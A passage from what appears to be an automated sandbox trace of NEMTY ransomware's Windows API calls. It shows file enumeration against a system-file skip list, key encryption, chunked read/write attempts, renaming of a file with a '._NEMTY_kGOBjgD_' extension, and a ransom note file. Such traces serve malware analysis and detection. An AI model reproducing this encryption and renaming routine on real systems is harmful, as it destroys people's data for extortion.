hHeap=0x4f90000) returned 1 [0061.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0061.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0061.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0061.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0061.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0061.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0061.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0061.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0061.851] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="pagecurl.png", cAlternateFileName="")) returned 1 [0061.851] lstrcmpiW (lpString1="pagecurl.png", lpString2=".") returned 1 [0061.851] lstrcmpiW (lpString1="pagecurl.png", lpString2="..") returned 1 [0061.851] lstrcmpiW (lpString1="pagecurl.png", lpString2="...") returned 1 [0061.851] lstrcmpiW (lpString1="pagecurl.png", lpString2="windows") returned -1 [0061.851] lstrcmpiW (lpString1="pagecurl.png", lpString2="$RECYCLE.BIN") returned 1 [0061.852] lstrcmpiW (lpString1="pagecurl.png", lpString2="rsa") returned -1 [0061.852] lstrcmpiW (lpString1="pagecurl.png", lpString2="NTDETECT.COM") returned 1 [0061.852] lstrcmpiW (lpString1="pagecurl.png", lpString2="ntldr") returned 1 [0061.852] lstrcmpiW (lpString1="pagecurl.png", lpString2="MSDOS.SYS") returned 1 [0061.852] lstrcmpiW (lpString1="pagecurl.png", lpString2="IO.SYS") returned 1 [0061.852] lstrcmpiW (lpString1="pagecurl.png", lpString2="boot.ini") returned 1 [0061.852] lstrcmpiW (lpString1="pagecurl.png", lpString2="boot.ini") returned 1 [0061.852] lstrcmpiW (lpString1="pagecurl.png", lpString2="AUTOEXEC.BAT") returned 1 [0061.852] lstrcmpiW (lpString1="pagecurl.png", lpString2="ntuser.dat") returned 1 [0061.852] lstrcmpiW (lpString1="pagecurl.png", lpString2="desktop.ini") returned 1 [0061.852] lstrcmpiW (lpString1="pagecurl.png", lpString2="CONFIG.SYS") returned 1 [0061.852] lstrcmpiW (lpString1="pagecurl.png", lpString2="RECYCLER") returned -1 [0061.852] lstrcmpiW (lpString1="pagecurl.png", lpString2="BOOTSECT.BAK") returned 1 [0061.852] lstrcmpiW (lpString1="pagecurl.png", lpString2="bootmgr") returned 1 [0061.852] lstrcmpiW (lpString1="pagecurl.png", lpString2="programdata") returned -1 [0061.852] lstrcmpiW (lpString1="pagecurl.png", lpString2="appdata") returned 1 [0061.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0061.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pagecurl.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0061.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pagecurl.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pagecurl.png", lpUsedDefaultChar=0x0) returned 12 [0061.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0061.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pagecurl.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0061.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pagecurl.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pagecurl.png", lpUsedDefaultChar=0x0) returned 12 [0061.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0061.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0061.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0061.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pagecurl.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0061.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pagecurl.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pagecurl.png", lpUsedDefaultChar=0x0) returned 12 [0061.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0061.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0061.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pagecurl.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0061.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pagecurl.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pagecurl.png", lpUsedDefaultChar=0x0) returned 12 [0061.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0061.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0061.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0061.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0061.853] Sleep (dwMilliseconds=0x5) [0061.867] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd885d1f0, dwHighDateTime=0x1d561e7)) [0061.867] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd885d1f0, dwHighDateTime=0x1d561e7)) [0061.867] GetLastError () returned 0x5 [0061.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0061.867] GetLastError () returned 0x5 [0061.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0061.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0061.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0061.868] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0061.868] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0061.868] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0061.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0061.868] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="zvMvc8bRWn6mSBu/xPxoh8xcckWSD3yk1opUJshc/y5XoVpsQQFJh2q9sHgBYqyx\r\nOwxvwkDFofhwXLOF8tKoL+3bGIHYNLg0T1FFOmQfJ7HTLeapybPMvyFqUT3H37/m\r\ny80DVkPCFg5/bKIBVcKiYi0KsFnwvHgHAzHRyB5cs1U0AVA05hBBVenkK9lg84Xi\r\noQoyVgcLXEW/Lp8SOPSxrnahyacm+N5sHLGcRzyyGbagDexTiRalzA/ozBwo5UUs\r\n//fggNl61XLstIC0CiH7L2/r12xFOMoAyUSr1EUbValo8KihvXoDaAQ3VuHy6Pn4\r\nfi1OumwOUvj8jws7HS2mFQ==\r\n", pcchString=0x653e91c) returned 1 [0061.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0061.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0061.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0061.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0061.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0061.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0061.868] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0061.868] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0061.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0061.868] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.868] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.878] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.878] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.887] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.887] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.887] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.887] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.897] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.897] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.906] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.906] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.916] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.916] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.925] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.925] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.935] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.935] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.944] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.944] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.944] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.944] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.953] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.953] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.953] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.954] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.963] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.963] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.963] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.963] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.969] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.969] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.969] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.969] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.975] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.975] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.975] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.975] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0061.975] CloseHandle (hObject=0xffffffff) returned 0 [0061.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0061.975] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0061.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0061.975] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0061.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0061.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0061.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0061.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f94338 [0061.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0061.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0061.975] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png._nemty_kgobjgd_")) returned 0 [0061.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0061.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0061.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0061.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0061.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0061.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0061.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0061.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0061.976] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7e3f470, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd7e3f470, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd7e655d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0061.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0061.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0061.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0061.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0061.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0061.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0061.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0061.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0061.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0061.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0061.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0061.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0061.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0061.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0061.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0061.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0061.977] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0061.977] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", 